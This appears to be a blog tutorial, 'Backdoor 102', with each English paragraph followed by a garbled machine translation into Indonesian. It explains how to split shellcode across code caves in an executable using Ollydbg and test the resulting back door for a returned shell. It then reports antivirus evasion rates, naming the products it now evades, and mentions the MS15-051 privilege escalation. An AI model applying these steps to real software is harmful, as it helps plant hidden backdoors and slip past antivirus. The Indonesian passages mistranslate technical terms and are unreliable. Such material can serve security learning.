Now that we are at the correct location, we can set a label for easier recognition. For example, I will set the label to be call1loc. Shown below.


Sekarang kita berada di lokasi yang benar, kita dapat mengatur label untuk pengakuan mudah. Sebagai contoh, saya akan mengatur label yang akan call1loc. Ditunjukkan dibawah.




Ultimately, we now have the location we know that we were originally trying to call if we had not split the shell code. To resolve this issue of the shell code having an incorrect relative location, we can return to the call in code cave one. After doing so, we need to assemble the call as call call1loc and Ollydbg will automatically recall the address we had given the label call1loc and work out the offset required to call it. The next section will continue the process of


Pada akhirnya, kita sekarang memiliki lokasi kita tahu bahwa kami awalnya mencoba untuk memanggil jika kita tidak membagi kode shell. Untuk mengatasi masalah ini dari kode shell memiliki lokasi relatif yang salah, kita bisa kembali ke panggilan dalam kode gua satu. Setelah melakukannya, kita perlu merakit panggilan sebagai panggilan call1loc dan Ollydbg otomatis akan mengingat alamat kami telah diberi label call1loc dan bekerja offset diperlukan untuk menyebutnya. Bagian selanjutnya akan melanjutkan proses





Discovering the rest

Before we start this section, a quick tip for checking where jumps or calls go to is to use the enter key or right click -> follow. This was previously mentioned. However, there is also the minus key or right click -> go to -> previous which will take you back to where you were before pressing enter. This is useful as we can trace code through every relative operation with ease by going back and forth.

Now that after fixing all of the relative operations in code cave one, it is necessary to fix all of those in code cave two. To do so, we need to go through every operation in code cave two that uses an operand that is a relative location. By doing this, we need to confirm that the relative location is either:
In code cave one
In code cave two
Jump back the original return point

In code cave two, we can see that the loop command also uses relative addressing. However, this one loops exactly to 0x1e. We can see this as well as the address it loops to the address located at 0x1e which was a lods al, byte ptr ds: [esi] operation. The following screenshot shows this happening.





Menemukan sisanya

Sebelum kita mulai bagian ini, tip cepat untuk memeriksa di mana melompat atau panggilan pergi ke adalah dengan menggunakan tombol enter atau klik kanan -> follow. Hal ini disebutkan sebelumnya. Namun, ada juga kunci dikurangi atau klik kanan -> pergi ke -> sebelumnya yang akan membawa Anda kembali ke tempat Anda sebelum menekan enter. Hal ini berguna karena kita bisa melacak kode melalui setiap operasi relatif dengan mudah dengan pergi bolak-balik.

Sekarang setelah memperbaiki semua operasi relatif dalam kode gua satu, perlu untuk memperbaiki semua orang dalam kode gua dua. Untuk melakukannya, kita harus melewati setiap operasi dalam kode gua dua yang menggunakan operan yang merupakan lokasi relatif. Dengan melakukan ini, kita perlu mengkonfirmasi bahwa lokasi relatif baik:
Dalam kode gua satu
Dalam kode gua dua
Langsung kembali titik pulang asli

Dalam kode gua dua, kita dapat melihat bahwa perintah lingkaran juga menggunakan relatif pengalamatan. Namun, yang satu ini loop persis dengan 0x1E. Kita bisa melihat ini serta alamat itu loop ke alamat yang terletak di 0x1E yang merupakan lods al, ptr byte ds: [esi] operasi. Screenshot berikut menunjukkan hal ini terjadi.




To resolve this, we need to target the operand at the lods al, byte ptr ds: [esi] in code cave one. Set the label accordingly as looploc on the lods instruction. In this case, we cannot use the referencing and we must calculate the exact bytes ourselves. This is due to the loop working to a maximum of one byte (0 - 255 decimal). The following screenshot displays the error that is displayed when an attempt to loop to looploc is made.

Untuk mengatasi ini, kita perlu menargetkan operan di lods al, ptr byte ds: [esi] dalam kode gua satu. Mengatur label sesuai sebagai looploc pada instruksi lods. Dalam hal ini, kita tidak dapat menggunakan referensi dan kita harus menghitung byte yang tepat diri kita sendiri. Hal ini disebabkan loop bekerja untuk maksimum satu byte (0-255 desimal). Screenshot berikut menampilkan kesalahan yang ditampilkan ketika upaya untuk loop untuk looploc dibuat.


During this tutorial, I could not find a loop operation code that uses more than one byte. Therefore, I will make use of another small code cave to replicate what a loop would do. The loopd operator performs the following as described in the image.




Selama tutorial ini, saya tidak bisa menemukan loop kode operasi yang menggunakan lebih dari satu byte. Oleh karena itu, saya akan menggunakan kode gua kecil lain untuk meniru apa yang loop akan melakukan. Operator loopd melakukan berikut seperti yang dijelaskan dalam gambar.




As we can see, the operator decrements the ECX register then jumps if the count is not equal to zero. We can replicate this by first jumping to a code cave as shown in the following screenshot. Ensure that the third code cave is labelled as cc3 and the instruction following the jump is labelled as cc3ret. It is also important that we take note of the commands replaced and damaged by the no operation (nop) commands.


Seperti yang kita lihat, operator decrements ECX mendaftar kemudian melompat jika jumlah tersebut tidak sama dengan nol. Kita bisa meniru ini dengan melompat pertama yang gua kode seperti yang ditunjukkan pada gambar berikut. Pastikan bahwa kode gua ketiga diberi label sebagai CC3 dan instruksi berikut melompat diberi label sebagai cc3ret. Hal ini juga penting bahwa kita perhatikan perintah diganti dan rusak oleh tidak ada operasi (nop) perintah.



Following into code cave three, we need to construct the following process to replicate the effect performed by loop:
Decrease counter (ECX) by one
Compare counter to zero
If the counter is not equal to zero, the zero flag is not set -> jump to the original loop destination
Fix the original overwritten operations
Jump back to the original execution path in the shell code

However, we need to ensure that the zero flag (ZF) is not modified hence we push the flags onto the stack and pop them off the stack when we choose to branch before committing to the rest of the execution. This is demonstrated by the following construction.


Berikut ke dalam kode gua tiga, kita perlu membangun proses berikut untuk meniru efek yang dilakukan oleh lingkaran:
Menurunkan counter (ECX) oleh salah satu
Bandingkan counter ke nol
Jika counter tidak sama dengan nol, nol bendera tidak diatur -> melompat ke tujuan lingkaran asli
Memperbaiki operasi ditimpa asli
Langsung kembali ke jalur eksekusi asli dalam kode shell

Namun, kita perlu memastikan bahwa nol bendera (ZF) tidak diubah maka kita mendorong bendera ke stack dan pop mereka dari tumpukan ketika kita memilih untuk cabang sebelum melakukan ke seluruh eksekusi. Hal ini ditunjukkan oleh pembangunan berikut.




After fixing this, the code runs fine once again. The next jump that we run into is the one located before call1locthat we allocated earlier. Highlighted in the image below.


Setelah memperbaiki ini, kode berjalan dengan baik sekali lagi. Lompatan berikutnya yang kita jalankan ke dalam adalah salah satu yang terletak sebelum call1locthat kita dialokasikan sebelumnya. Disorot pada gambar di bawah.



Now we need to find out where the jump goes to. By using ODA once again we can see that the jump is going back to code cave one in offset 0x15. The following screenshots display this.


Sekarang kita perlu mencari tahu di mana melompat pergi ke. Dengan menggunakan ODA sekali lagi kita dapat melihat bahwa melompat akan kembali ke kode gua satu di mengimbangi 0x15. Screenshot berikut menampilkan ini.



If we now go into Ollydbg and set a label on the endpoint, we can fix the jump as we did earlier on. I have labelled this as omgret. The following screenshots display the labelling as well as the jump fix. However, in this case, the jump fix breaks the code, therefore we will jump into a code cave then fix the execution and jump back in. Since the code already jumps to an empty section, we will make use of it and just jump directly to the omgret.



Jika sekarang kita masuk ke Ollydbg dan mengatur label pada titik akhir, kita dapat memperbaiki melompat seperti yang kita lakukan sebelumnya pada. Saya telah diberi label ini sebagai omgret. Screenshot berikut menampilkan label serta memperbaiki melompat. Namun, dalam kasus ini, memperbaiki melompat istirahat kode, karena itu kami akan melompat ke sebuah gua kode kemudian memperbaiki eksekusi dan melompat kembali. Karena kode yang sudah melompat ke bagian yang kosong, kami akan memanfaatkan itu dan hanya melompat langsung untuk omgret tersebut.



After exploring and tracing the shell code more thoroughly, it appears that we have finished fixing it! Ensure that everything is saved and ready to be ran for the testing phase.


Testing the back door

From the last tutorial, we already know the process of setting up the handler. Therefore, this episode will not explain these steps. The following screenshot shows the handler being set up.


Setelah menjelajahi dan menelusuri kode shell lebih teliti, tampak bahwa kita telah selesai memperbaiki itu! Memastikan bahwa semuanya disimpan dan siap untuk berlari untuk tahap pengujian.


Pengujian pintu belakang

Dari tutorial terakhir, kita sudah tahu proses menyiapkan pawang. Oleh karena itu, episode ini tidak akan menjelaskan langkah-langkah ini. Screenshot berikut menunjukkan pawang yang mengatur.


To continue with the test, we must upload the executable that now has a back door into the victim virtual machine. After doing so, we must execute the payload and press the "X" button to exit and see if we actually get a shell back. With a little bit of luck and lots of skill, we can now go to sleep after seeing the following message.


Untuk melanjutkan dengan tes, kita harus meng-upload executable yang sekarang memiliki pintu belakang ke korban mesin virtual. Setelah melakukannya, kita harus mengeksekusi payload dan tekan "X" tombol untuk keluar dan melihat apakah kita benar-benar mendapatkan shell kembali. Dengan sedikit keberuntungan dan banyak keterampilan, kita sekarang dapat pergi tidur setelah melihat pesan berikut.

Results and conclusion

In this section, I will analyse the evasion rate of this new payload. At the beginning of the tutorial, I have stated that this is not a aimed towards increasing the evasion rate. The purpose of this tutorial is to enjoy and learn the process of splitting shell code into multiple caves whilst keeping the execution cycle intact.

As I am not fussed about throwing away my techniques to VirusTotal, below we can observe some results. Interestingly enough, the evasion rate has now increased to ~93%. I had just realised that before it was actually 89% evasion rate as I had miscalculated in Backdoor 101. This time, we have killed off two more antiviruses - Avast and ClamAV. This should not be because of the shell code splitting. The reason why this is most likely the case is due to the code that was modified to split the shell code has now changed the signature. Therefore, Avast and ClamAV's signature database does not contain our newly changed signatures. In a future tutorial, I will be covering how to create signatures of shell code for tools such as YARA. After we understand the concept of how signatures are created, we can then begin to think of methods to easily bypass signature checking to achieve greater evasion ratios.




Hasil dan kesimpulan

Pada bagian ini, saya akan menganalisis tingkat penghindaran payload baru ini. Pada awal tutorial, saya telah menyatakan bahwa ini bukan ditujukan terhadap meningkatkan tingkat penghindaran. Tujuan dari tutorial ini adalah untuk menikmati dan mempelajari proses pemisahan kode shell menjadi beberapa gua sementara menjaga siklus eksekusi utuh.

Karena saya tidak sibuk tentang membuang teknik saya untuk VirusTotal, di bawah ini kita dapat mengamati beberapa hasil. Yang cukup menarik, tingkat penghindaran kini meningkat menjadi ~ 93%. Aku baru saja menyadari bahwa sebelum itu sebenarnya tingkat penghindaran 89% seperti yang saya telah salah perhitungan dalam Backdoor 101. Kali ini, kami telah membunuh dua antivirus lebih - Avast dan ClamAV. Hal ini seharusnya tidak karena membelah kode shell. Alasan mengapa hal ini kemungkinan besar kasus ini karena kode yang telah dimodifikasi untuk membagi kode shell sekarang telah berubah tanda tangan. Oleh karena itu, Avast dan ClamAV ini database signature tidak berisi tanda tangan kami yang baru berubah. Dalam tutorial masa depan, saya akan mencakup cara membuat tanda tangan kode shell alat bantu seperti YARA. Setelah kita memahami konsep bagaimana tanda tangan yang dibuat, kita kemudian bisa mulai memikirkan metode untuk dengan mudah memotong memeriksa untuk mencapai rasio penggelapan besar tanda tangan.


Once again, thank you for reading my blog post. I highly value any feedback, recommendations and advice for writing, documentation and research progression as I am still a newbie in the information security industry.
Using Windows 7?

Just as an extra notice for people testing on Windows 2008 and for MS15-051 awareness. The use of the MS15-051 vulnerability which exploits win32k.sys allows an attacker to obtain SYSTEM level privileges. Displayed below.


Sekali lagi, terima kasih untuk membaca posting blog saya. Saya sangat menghargai umpan balik, rekomendasi, dan saran untuk menulis, dokumentasi dan perkembangan penelitian karena saya masih newbie dalam industri keamanan informasi.
Menggunakan Windows 7?

Hanya sebagai pemberitahuan tambahan untuk orang menguji pada Windows 2008 dan untuk MS15-051 kesadaran. Penggunaan MS15-051 kerentanan yang mengeksploitasi win32k.sys memungkinkan penyerang untuk mendapatkan hak istimewa tingkat SYSTEM. Ditampilkan di bawah.


Get your system patched today.


Dapatkan sistem Anda ditambal hari ini.

Labels: Hacking, Merakit Komputer, sosial, Virus, Windows

Thanks for reading Backdoor 102. Please share...!

0 Comment for "Backdoor 102"

Back To Top